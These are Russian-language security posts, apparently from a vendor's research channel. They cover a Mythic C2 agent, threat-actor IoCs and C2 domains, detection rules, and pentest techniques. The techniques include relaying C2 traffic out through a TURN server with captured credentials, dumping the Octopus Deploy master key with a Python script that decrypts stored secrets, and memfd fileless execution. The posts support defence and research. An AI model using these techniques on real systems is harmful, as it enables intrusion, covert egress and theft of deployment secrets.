purple shift

Для решения задач по анализу защищённости наша "красная команда" часто пользуется агентами для фреймворка Mythic. И как вы могли заметить, у нас много своих наработок в области такого инструментария: мы уже рассказывали про создание собственного Mythic-агента, про добавление автоматических проверок безопасности в Mythic Apollo и про реализацию нативного TCP-транспорта для агента Xenon. Сегодня покажем еще один полезный инструмент для пентестеров, решающий проблему архитектурной ограниченности при работе с TCP P2P-профилями агентов Poseidon и Apollo внутри целевой сети. Проблема в том, что Mythic C2 не располагает встроенным egress-профилем, способным инициировать исходящее TCP-соединение к P2P-агенту; это требует развёртывания промежуточных транзитных узлов миграции на альтернативные протоколы передачи данных. Наш эксперт Олег Сенько разработал bind_tcp_agent — виртуальный колбэк внутри Mythic, который закрывает этот пробел. Теперь с помощью одной команды link 192.168.1.100 18888 вы получаете канал в изолированный сегмент. Что умеет bind_tcp_agent: — Исходящие TCP из Mythic: подключается к агенту, а не ждёт обратного. — P2P-цепочки любой глубины: Mythic → bind_tcp_agent → Poseidon → Poseidon -> Apollo. — SOCKS4/5/HTTP-прокси: выход через jump-хосты из коробки. — Три режима шифрования: plaintext, AESPSK, EKE (RSA-OAEP → AES-256-CBC). — Полная ретрансляция: задачи, файлы, интерактивные шеллы, rpfwd, SOCKS. — Автореконнект: экспоненциальный backoff + персистентность состояния через API Mythic. Более подробно о том, как это работает под капотом (TCP-фрейминг чанками по 30 КБ, дерево решений шифрования, обработка переподключений и P2P-делегаты) — читайте в полном описании bind_tcp_agent на нашем сайте.

Про искусственный интеллект теперь вещают из каждого утюга — и мы не хотим отставать от утюгов! На конференции OFFZONE 2026 в следующий четверг наши эксперты представят два доклада о том, как ML и LMM облегчают тяжёлую работу SOC: Артемий Обухов. "Генерация фильтров на практике: от алгоритмов к LLM" (20 августа, 12:20–12:45) Аналитики SOC ежедневно разбирают сотни срабатываний, большинство из которых ложные. Закрытие каждого такого срабатывания отдельным фильтром вручную — рутинная и трудоемкая задача. Артемий расскажет, как был автоматизирован этот процесс: система сама предлагает готовые фильтры, а аналитику остается выбрать подходящий. Обсудим, как формализовать задачу, генерировать и оценивать фильтры, а также сравним два подхода — алгоритмический пайплайн и LLM, их преимущества, ограничения и результаты на реальных кейсах. Дмитрий Аникин, Денис Кулик. "You Shall Not Pass… Laterally: как мы ловим боковое перемещение с помощью ML‑инструментов" (20 августа, 13:40–14:05) Для продвижения вглубь скомпрометированной системы злоумышленники часто используют легитимные инструменты и вообще ведут себя почти как легитимные пользователи, поэтому выявлять такую активность весьма непросто. В этом докладе предлагается взгляд на проблему с двух точек зрения: SOC‑аналитика и AI‑разработчика. Денис и Дмитрий расскажут, как создавались ML‑инструменты для решения этой задачи, как они чуть не утонули в количестве данных, почему аномалии по IP‑адресам тут скорее вредят и почему контекст и AI‑предрасследование не менее важны, чем сам детект. Заходите послушать!

Наши эксперты зафиксировали свежую фишинговую кампанию, идущую с середины июля, которую мы с высокой уверенностью атрибутируем группировке Geo Likho. Под удар злоумышленников на этот раз попали организации из разных сфер: медицинские и исследовательские центры, образовательные учреждения, телеком-операторы, промышленные предприятия и НПО. Основная цель группы — кража данных. Вектор атаки не претерпел значительных изменений по сравнению с уже описанными атаками этой группировки на российский авиапром: — Жертвам приходит фишинговое письмо, содержащее ссылку на .rar-архив с обфусцированным .VBE-дроппером (VBScript Encoded) внутри. — Дроппер загружает в папку %LOCALAPPDATA%\Temp второй компонент атаки: написаный на Delphi вредонос с функционалом стилера и загрузчика. — В директорию %PROGRAMDATA%\python10.13\ загружается третий компонент атаки: написанный на C++ стилер (функционал схож с предыдущим). — Закрепление происходит с помощью создания .lnk-файла в папке автозапуска: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\python10.13.lnk Как детектировать Рекомендуем использовать следующие индикаторы компрометации: VBE-загрузчики — все образцы называются "текст договора (новая версия).vbe": 7e976b433818ed32e24e410053c9c9e4 fdb6a82b09a5a4d7765fdbd94db5a365 ac552b6693e424bf016fb21541ba0d42 59c86eb4bd9a7996cba9f1ae51c5e967 63481a4d3658c8e3837fb62c70584f7f 57449ed659ba464d581b9f02101b230c 9f6ef70396c82a72e1722338abbf2e92 0e227d79861d73867c2b813471e2a87c 7737fbba797c1c40178fb83571a73f86 931be9937963c527d1d77c25aad17d20 85a52a578c92c1907daa22b8903e4329 c98e6cdca3490332e2236f07ae0f8547 8e36c9e874b895d787c8153c1e5104f1 8724b6818e42d5e4f0a44bb59e0a7bbf 70408b105aef9285ec99991588a8d37a 59a3303e71256c9fe9fd3fe05f8bb019 9d3107278be12f65fc7922a03c696a80 6925b782ec219d84c7a775d865994ab6 a0274f92706e608412cbcf820ffa0fba 22cdf62205a48ff675bd0656f4672314 bd2b074b8e310534654725dd90843331 aba924e3acfcaecbc6a532ca4789b990 f71225ac09fb9e8fc77b7ccdddbfcd20 e6def442905f7664525882141d7ca374 dadcc70014bab6281e59348ad65d8b07 d2818f0dad2d5e0a8ef1eb13c0d0f37c 8a18931626f39234e0bd86b4bbbddb30 414436bffc2c4409e7f69ed06914468e 24442b12a5e9e4b0e855ee9ad8a32c60 Delphi-компонент (Dogovor.exe): f1371d9d26cf44838327abb44bb76381 9f467928101fd6815ff12dcd29ebf9ba 1a4fc29c4830c4fcd546894792962e6c c740447b33778d7048032e6d7381d77b 8c644df7c16d60837646866e427eedd5 9cf02bc4ac055c517e8d83df99fc75c4 53c0dbf6b82ccff57ef97f62e9bc739f 6d6148c2428be3f526a8e9b6c9a5f8c4 3304032b9a2f5c7a98f68ca20f509588 17131e8331ade8c428d536b988dd4245 C++ -компонент (python10.13.exe): 0fbf6efb41529a904db288fc5af7339b f1906a6953af3c54fe09e28157460267 b3b0b39557e10abe431336269b477657 dec98e8473a4f0a71eaa573514cfbeac c167b1113a9e724a294c7bd0234440fc Сетевые индикаторы: saratov-adm[.]net nn-prom[.]com ufa-oboron[.]com samara-prom[.]net marinesogaz[.]net tambov-energo[.]com

Достаточно свежая уязвимость в Windows Server под названием Certighost (CVE-2026-54121) позволяет пользователю с минимальными правами получить контроль над доменом. Атака эксплуатирует резервный механизм в службе сертификатов ADCS, при использовании которого Certification Authority обращается к указанному контроллеру домена (атрибут cdc) для получения информации о машинном объекте, связанном с запросом (атрибут rmd). Уязвимость состоит в том, что CA не проверяет, действительно ли в cdc указан настоящий контроллер домена. Поэтому атакующий может указать подконтрольный ему хост с поддельными службами LDAP/LSA для ответа на запрос. Понятно, что лучший способ защиты — накатить обновление на все ADCS-сервера. Но как узнать, не подверглись ли ваши сервера этой атаке ещё до обновления? Об этом читайте в статье Дмитрия Щетинина "Детектируем атаку Certighost".

Пока все пентестеры ждут результатов премии Pentest Award 2026, мы решили показать вам ещё один кейс, с которым наш отдел анализа защищенности участвовал в этом конкурсе в прошлом году. Кстати, если вы пропустили наши прошлые кейсы с этого конкурса — смотрите тут: первый, второй, третий. А сегодня рассказ будет о том, как обычные на первый взгляд функции в PHP могут складываться в цепочки недочетов, которые позволяют получить привилегии доменного администратора. Наш Заказчик использовал систему управления заявками [XXX]. Демо-версия веб-приложения была обфусцирована IonCube12, что не давало возможности анализировать код. Однако мы нашли несколько критических уязвимостей внутри системы управления заявками — в том числе blind SQL, которую можно было использовать для получения токена администратора. Правда, она давала почти невероятную задержку, так как фактически выполнялась в серии подзапросов. Но это нас не остановило. Используя недочеты функции uniqid, поддельный домен-контроллер, возможность загрузки pdf-файла с сериализованным сюрпризом и недокументированные скрытые параметры из самых обычных запросов к системе заявок, мы смогли получить доступ для добавления своего административного пользователя внутрь системы. А затем обнаружили высокопривилегированную учетную запись, которая привела к полному захвату домена из внешней сети Заказчика. В ходе работ ни один phpgcc-гаджет не пострадал (не использовался). Более подробно о том, как помогла нам небезопасная генерация имени файла и небезопасная десериализация, а также рекомендации по защите от таких атак — в полном описании этого кейса.

Расследуя атаки хакерской группировки год за годом, можно наблюдать, как эволюционирует эта угроза. Один из признаков её развития — переход от использования чужих вредоносных инструментов к собственным разработкам. Группировка Labooboo (Toy Ghouls, Bearlyfy), атакующая российские организации с 2025 года, изначально использовала сторонние шифровальщики RedAlert, LockBit и Babuk, но в марте 2026 года перешла на собственный шифровальщик GenieLocker. А недавно наши эксперты обнаружили, что в арсенале этой группы появился свой бэкдор, который позволяет выполнять произвольные команды. Бэкдор существует как минимум в двух вариациях, использующих для связи с С2 протоколы MQTT и Matrix. В реализации с MQTT (MD5: BFADBEEE63A4F0BF19EC9DEB8FA58F58) в качестве брокера указан broker.hivemq.com:8883. Обмен сообщениями осуществляется через топики _id_/cmd/req, _id_/cmd/res, _id_/metrics3 и _id_/status для получения команд, отправки результатов их выполнения, метрик и состояния бэкдора, соответственно. В реализации с Matrix (MD5: 7916C33688385525078BEE504C90F359) вредонос подключается к определенной комнате на публичном сервере meet.element.tw и выполняет команды из сообщений, начинающихся c cmd. Результаты выполнения команд, метрики и статусы публикуются в виде сообщений в комнате. Выявленные образцы добавлены в антивирусные базы. Продолжаем следить за Лабубой. Детальное описание обнаруженных бэкдоров опубликуем позже.

В прошлом году, согласно отчёту наших команд MDR и IR, значительно выросло число инцидентов высокой и средней критичности в сфере образования, что указывает на рост системных проблем в этой сфере. До нового учебного года осталось меньше месяца — самое время подсветить эти проблемы. Зачем злоумышленники атакуют образовательные организации? В государственных школах и университетах можно поживиться персональными данными, которые затем используются для фишинга и других видов мошенничества. А в частных школах самые частые критические инциденты — это шифрование с последующим вымогательством. Такие наблюдения сделали эксперты нашего глобального центра по реагированию (GERT) на основе анализа инцидентов, которые произошли за прошедший год в образовательных организациях Бразилии. Однако выводы и рекомендации этого исследования вполне применимы и для других стран. В частности: — В атаках на образовательные организации почти не встречаются сложные техники. Чаще всего первоначальный доступ происходит через украденные аккаунты, после чего злоумышленники повышают права (Potatoes) и ходят по школьным сетям с использованием легальных инструментов (PsExec, AnyDesk). Для предотвращения угона аккаунтов рекомендуется использовать мультифакторную авторизацию, а также регулярно проводить аудит привилегированных аккаунтов и сокращать избыточные права. — В школах и вузах часто используется устаревший софт. Например, в инфраструктуре некоторых наших клиентов из сферы образования встречался Windows Server 2016 без патчей, а также операционка Windows 10, поддержка которой уже прекращена. Понятно, что здесь основная мера профилактики — своевременное обновление. — Самые популярные семейства шифровальщиков, атакующих сферу образования — это DragonForce и LockBit 3. И как уже сказано, вымогатели особенно любят частные школы, которые кажутся достаточно богатыми, чтобы заплатить выкуп. Таким школам особенно рекомендуется озаботиться выработкой стратегии резервного копирования и восстановления данных. Более подробные примеры атак на школы и вузы, а также дополнительные рекомендации по защите — в статье нашего эксперта Кристиана Сузы "An analysis of incidents at Brazilian educational institutions".

Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан. И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей. Как это работает: В WebRTC-звонках есть несколько важных сущностей. — Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды; — ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение; — Host candidate: пиры видят друг друга в локальной сети; — Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес; — TURN: трафик идёт через промежуточный relay-сервер. Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData. Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2. Условия эксплуатации: — есть RCE/foothold на внутреннем хосте; — с него доступен TURN-сервер; — TURN-сервер находится на внешнем периметре (виден из Интернета); — известны turn_user / turn_pass; — TURN разрешает relay на внешний white_ip:port. Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner: stunner info -turnserver <ip>:<port> Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса: turnutils_uclient -n 1 -I -c \ -u <turn_user> \ -w <turn_pass> \ -e <white_ip> \ -r <port> \ -p <turn_port> \ <turn_ip> Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше: — используем креды, полученные через signal plane, — с пробитого хоста отправляем Allocate Request на TURN, — в качестве destination указываем свой внешний хост, и — TURN начинает ретранслировать трафик наружу. Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны. Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал. Как ловить атаку: Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN. Как реагировать: — проверить, какие внутренние хосты инициировали Allocate Request; — сопоставить время активности с реальными ВКС-сессиями; — найти внешний white_ip, куда TURN ретранслировал трафик; — отозвать/обновить TURN-креды; — ограничить relay только на ожидаемые направления; — проверить пробитый хост на RCE/foothold. А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.

Использование злоумышленниками блокчейна для передачи адресов командных центров (C2) постепенно становится не экзотикой, а рабочей техникой обхода блокировок. Согласно нашей телеметрии, вредоносы группировки HeartlessSoul с начала июня начали обращаться к блокчейн-платформе BNB Smart Chain для получения актуальных адресов C2. Обфусцированный JavaScript-загрузчик обращался к данным транзакции в блокчейне, извлекал из них адреса C2 и продолжал выполнение цепочки заражения. Если получить данные не удавалось, использовался резервный C2-домен, захардкоженный в коде. Ранее для этой же цели атакующие использовали блокчейн Solana. Главная ценность такой техники для атакующих — не анонимность блокчейна, а возможность хранить и обновлять C2 на инфраструктуре, которую сложно заблокировать без риска нарушить работу легитимных сервисов. Первоначальный вектор атак группировки не изменился: HeartlessSoul продолжает распространять вредоносные MSI/XLL/LNK-файлы через фишинговые письма и мессенджер Telegram (ниже приведены примеры используемых приманок). Затем, используя команду Powershell, вредоносный файл загружает на систему жертвы JavaScript-загрузчик, который в свою очередь загружает с C2-сервера и выполняет в памяти дополнительные модули для кражи данных и эксфильтрации. Detection & Threat Hunting APT-группировки используют блокчейн не только для скрытной передачи C2-адресов, но и для хранения и доставки вредоносной нагрузки (техника EtherHiding, которую использует, например, группировка UNC5342). Оба сценария уже стоит учитывать при построении процессов выявления угроз. Один из вариантов детектирования — мониторинг обращений к легитимным сервисам блокчейн-инфраструктуры, особенно если такие подключения инициируются офисными приложениями, скриптовыми интерпретаторами или другими нетипичными процессами. Например, в активности HeartlessSoul были замечены обращения к следующим ресурсам: api.mainnet-beta.solana.com bsc-rpc.publicnode.com Мониторинг обращений к API блокчейн-эксплореров и RPC-нодам различных провайдеров (например, bsc-testnet-rpc.publicnode.com, ethereum-rpc.publicnode.com, ethereum-sepolia-rpc.publicnode.com, api.bscscan.com, api.testnet.solana.com, bsc.meowrpc.com, bsc-dataseed.binance.org и др.) может помочь выявить нетипичную активность, особенно если такие соединения инициируются msiexec.exe, wscript.exe, cscript.exe, powershell.exe, node.exe, rundll32.exe или офисными приложениями. IoCs, связанные с последней активностью HeartlessSoul: Имена файлов-приманок: акт передачи 08.07.2026.docx.lnk сброс мавик 3.0.stl.lnk ведомость.docx.lnk Пояснение письменно.xll Пояснение.xll Пример пояснение.xll Technical Overview Технический профиль.xll Домены С2: healthydefinitetrunk[.]com habitsunrisenatureknee[.]com themostbeautifulspark[.]com

Мы уже рассказывали, что вымогатели всё чаще применяют для шифрования своих жертв тот самый BitlLocker, который легально предустановлен на компьютерах этих жертв — так что атакующим даже не нужно создавать и загружать собственную программу для шифрования. А новое расследование наших экспертов в Латинской Америке показывает, как именно злоумышленники берут под контроль этот инструмент. Один из инцидентов произошел в Колумбии. Злоумышленники воспользовались доступной из Интернета службой удаленного доступа RDP с дополнительными открытыми портами на сервере, подключенном к хранилищу с критически важными данными. Это позволило получить контроль над системой, изменить учетные данные пользователей и запустить шифрование с помощью BitLocker. В другом инциденте, в Мексике, атакующие получили первоначальный доступ к инфраструктуре через Microsoft SQL Server. Из кода, опубликованного на GitHub с нарушением требований безопасности, атакующие извлекли учетные данные для доступа к базе данных. А некорректная настройка MSSQL-сервера позволила с этими же учетками выполнять команды операционной системы через расширенную хранимую процедуру xp_cmdshell. В итоге стало возможно выполнять произвольные команды не только на самом сервере, но и на доступных с него узлах локальной инфраструктуры. Мораль: хотя само шифрование с помощью BitLocker поймать непросто (это легитимная компонента Windows, её активность не блокируется антивирусами), однако в обоих случаях был простой способ устранить возможность для первоначального доступа атакующих. В первом инциденте это — ограничение публичного доступа к RDP. Во втором — контроль данных, размещаемых на GitHub, а также правильная настройка сервера MSSQL. Подробности расследования этих инцидентов — в статье Эдуардо Овалье «Новый подход вымогателей: офисные принтеры, небольшие суммы выкупа и BitLocker».

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя. При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных: C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах: dbo.Project — список проектов, dbo.Machine — список машин внутри кубера или другой системы, dbo.VariableSet — список переменных, dbo.Proxy — настройки прокcи, dbo.Account — список пользователей для управления CI/CD, dbo.User — список внутренних пользователей Octopus. Декодирование ключей из Octopus можно сделать вот так: import sys import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Check for input argument if len(sys.argv) < 3: print("Usage: python decrypt.py <master_key> <encoded_variable>") sys.exit(1) # Get master key from first CLI argument base64_key = sys.argv[1] # Get encoded_variable from second CLI argument encoded_variable = sys.argv[2] # Split encoded_variable into parts cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|') # Decode from Base64 cipher_data = base64.b64decode(cipher_data_b64) cipher_salt = base64.b64decode(cipher_salt_b64) cipher_key = base64.b64decode(base64_key) # AES decryption setup cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt) decrypted = cipher.decrypt(cipher_data) # Unpad decrypted data decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8') Как защищаться? Со стороны Octopus.Server: — разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов, — отслеживать запуск утилиты Octopus.Server, — использовать для запуска сервиса только разрешенные gMSA учетные записи. Со стороны базы данных: — разрешить соединения с БД только со стороны сервера Octopus, — логировать любые SELECT/UPDATE в критичных таблицах, — настроить алерты на изменение данных или создание новых пользователей внутри БД.

В большинстве корпоративных инфраструктур для управления хостами и пользователями применяется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости. А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов — за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене. Как добыть информацию о трастах? Один из самых удобных способов — получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6): ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub  "(objectClass=trustedDomain)" А дальше нужно разобраться с атрибутами и параметрами, которые будут видны в полученном TDO — это подсказывает, какие атаки могут быть успешны. Например, если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test. Это позволяет проводить типовые атаки на Active Directory — в частности, имея ученую запись пользователя в domain.local, в домене domain2.test можно прочитать SYSVOL, выполнить Kerberoasting или добавить учетную запись компьютера (см. скриншот). Подробнее о том, какими способами можно получать информацию о трастах, на какие параметры стоит обращать внимание и какие ещё атаки можно использовать для получения привилегий, читайте в статье нашего эксперта Ирины Беляевой "Атаки на доверие: как использовать трасты в Active Directory".

Искусственный интеллект проникает повсеместно, поэтому в ближайшие годы LLM-агенты будут всё чаще упоминаться как "активные участники" в различных отчётах об инцидентах. Такой пример есть и в опубликованном сегодня отчёте экспертов нашего сервиса по поиску компрометации (Compromise Assessment). Отчёт посвящен инцидентам, которые оставались незамеченными на протяжении нескольких недель, месяцев и даже лет, и были выявлены только в 2025 году после обращений в этот сервис. Одна из популярных причин таких пропущенных инцидентов (24% случаев) — отсутствие продуманных и задокументированных политик безопасности и правил обработки данных. Это происходит в том числе и при разработке ПО с помощью генеративного ИИ. В ходе одного из проектов была найдена рабочая станция на базе macOS, где ассистент Claude Code с интерфейсом командной строки использовался как расширение VS Code. Инструмент автоматически делал снапшоты файловой системы для обогащения промптов языковой модели. Командная строка родительского процесса выглядела так: /bin/zsh -c -l source /Users/[СКРЫТО]/.claude/shell-snapshots/snapshot-zsh-[СКРЫТО].sh && eval 'ls -lh "/Users/[СКРЫТО]/Documents/[СКРЫТО]/"*.xlsx' \\< /dev/null && pwd -P >| /var/folders/[СКРЫТО]/claude-[СКРЫТО] Собираемые ассистентом материалы включали полные списки каталогов и абсолютные пути к нескольким рабочим книгам Excel, содержащим конфиденциальные внутренние данные: ls -lh /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx .. [СКРЫТО] Наши эксперты рекомендовали организации провести для сотрудников ряд обучающих сессий, направленных на повышение осведомленности о рисках раскрытия конфиденциальной информации при использовании генеративного ИИ, а также разработать политику, регулирующую применение таких инструментов при работе с чувствительными данными. Больше примеров пропущенных инцидентов, а также рекомендации по их выявлению и предотвращению, смотрите в полной версии отчёта "Незамеченные инциденты, устойчивые угрозы и проблемы реагирования". А что касается слишком самостоятельных ИИ-ассистентов на корпоративных устройствах — у нас есть пособие по их детектированию и отключению: часть 1, часть 2, часть 3. Ту же тему обсуждаем в новом выпуске подкаста "Смени пароль".

В одном из инцидентов у клиента нашего сервиса MDR мы обнаружили, что инструмент удаленного доступа ScreenConnect использовался для установки и запуска вредоносного модуля AsyncRAT. Более детальное расследование выявило масштабную инфраструктуру для распространения скрытого установщика этого ПО с целью массовой кражи учетных данных. На поддельных веб‑ресурсах, которые с помощью поисковой оптимизации выводятся в первые строки выдачи поисковиков, распространяются архивы‑установщики, замаскированные под популярные программы — OBS Studio, DNS Jumper, DS4Windows, Bandicam, Glary Utilities, Process Hacker, Crosshair X и др. Всего обнаружено более 90 таких сайтов на 10 языках (см. пример на скриншоте выше). Внутри архива содержится подписанный Microsoft легитимный файл install.exe, переименованный под установщик популярного софта (например, OBS Studio), а также вредоносная библиотека install.res.1033.dll. Эта библиотека загружается на устройство при помощи техники DLL Sideloading и разворачивает сервис ScreenConnect, ожидающий дальнейших инструкций от злоумышленников. Во многих корпоративных сетях подобные инструменты удаленного доступа находятся в списке разрешенного ПО и обладают повышенными привилегиями, что очень помогает атакующим. Как ловить атаку: 1. Отслеживайте создание сервиса ScreenConnect с подозрительными параметрами: logsource: product: windows category: security detection: selection_access: EventID: 4697 Service File Name|contains: - 'e=Access' - 'ClientService.exe' selection_support: EventID: 4697 Service File Name|contains: - 'e=Support' - 'ClientService.exe' condition: selection_access or selection_support 2. Отслеживайте запуск нетипичных дочерних процессов от сервиса ScreenConnect: logsource: product: windows category: process_creation detection: selection: ParentImage|endswith: - '\\ScreenConnect.ClientService.exe' - '\\ScreenConnect.WindowsClient.exe' - '\\ScreenConnect.WindowsBackstageShell.exe' - '\\ScreenConnect.WindowsFileManager.exe' Image|endswith: - '\\powershell.exe' - '\\cmd.exe' - '\\net.exe' - '\\schtasks.exe' - '\\sc.exe' - '\\msiexec.exe' - '\\mshta.exe' - '\\rundll32.exe' condition: selection В качестве общих профилактических мер рекомендуется внедрить строгий контроль за установкой программ, отслеживать появление новых сервисов удаленного администрирования и соответствующих задач планировщика, проверять подлинность источников ПО и обучать пользователей не скачивать что попало. Подробности расследования этой масштабной атаки, а также индикаторы компрометации и дополнительные советы по детектированию — в статье Дениса Кулика "ScreenConnect под маской бесплатных программ".

Злоумышленники, атакующие Linux-системы, часто используют "бесфайловое" выполнение, чтобы избежать загрузки вредоносного ПО на диск. Это помогает обойти традиционные системы детектирования и механизмы безопасности, а также оставляет значительно меньше следов для форензики. Системный вызов memfd_create() играет важную роль в таких атаках. Этот механизм, появившийся в ядре Linux 3.17, предназначен для создания анонимных файлов, которые существуют только в оперативной памяти. Согласно руководству memfd_create(2), эти файлы ведут себя как обычные файлы — у них есть размер и отображение в памяти, их можно изменять — но они не сохраняются на физическом носителе. Вызов memfd_create() возвращает файловый дескриптор, который может быть использован вызовом fexecve(3) — это позволяет процессу выполнять бинарный файл через файловый дескриптор (FD), в отличие от вызова execve(2), где в качестве аргумента требуется путь в реальной файловой системе. Типичная цепочка эксплуатации этого механизма состоит из трёх этапов: 1. Загрузчик вызывает memfd_create(name, flags), этот вызов возвращает файловый дескриптор. Имя (name) здесь нужно только для отладки, оно не появляется в дереве каталогов. 2. Загрузчик записывает вредоносную нагрузку (часто полученную по сети) в этот FD. 3. Загрузчик вызывает fexecve(fd, argv, envp). Ядро заменяет текущий образ процесса бинарным файлом, хранящимся в анонимном сегменте памяти. Такой подход гарантирует, что вредоносная нагрузка не попадает на диск, и таким образом она обходит: — системы детектирования на основе сигнатур, которые сканируют диск; — запрет на выполнение: во многих системах каталоги с правами на запись для всех (такие, как /tmp или /dev/shm) монтируют с флагом noexec, поскольку такие каталоги часто используются злоумышленниками для выполнения вредоносного ПО. Пример атаки: Рассмотрим каталог, который смонтирован с флагом noexec. Попытка выполнить бинарный файл id из этой точки монтирования не сработает, даже если он запускается с высшими привилегиями и сам бинарный файл является исполняемым (см. верхний скриншот). Это ограничение можно обойти, если бинарный файл загружен в оперативную память и выполнен напрямую из памяти. Для демонстрации мы создали веб-сервер, который хостит бинарный файл id (он может быть вредоносным в реальных атаках), и написали простой скрипт на Python, который скачивает этот бинарный файл, загружает его в память и выполняет его в памяти, обходя все защиты. Результат можно увидеть на скриншоте (нижняя часть). Обратите внимание, что системный вызов 319 — это и есть memfd_create(). Детектирование: Хотя файла нет на диске, ядро Linux показывает метаданные о запущенных процессах. Нужно смотреть: — Пути в файловой системе /proc. Даже анонимные файлы отслеживаются в таких метаданных. /proc/[PID]/exe обычно указывает на путь бинарного файла, такой как /usr/bin/python3. Процесс memfd будет указывать на виртуальный путь, часто помеченный как memfd: (deleted). — Карты памяти (memory maps). Анализ /proc/[PID]/maps или smaps показывает следы атаки. Ищите сегменты памяти с правами на выполнение (r-xp), которые сопоставлены с объектом memfd, а не с общедоступной библиотекой или известным бинарным файлом на диске.

В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют). Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис. Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности. А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки. Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы. В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути: D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspx В ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере. Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше). Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 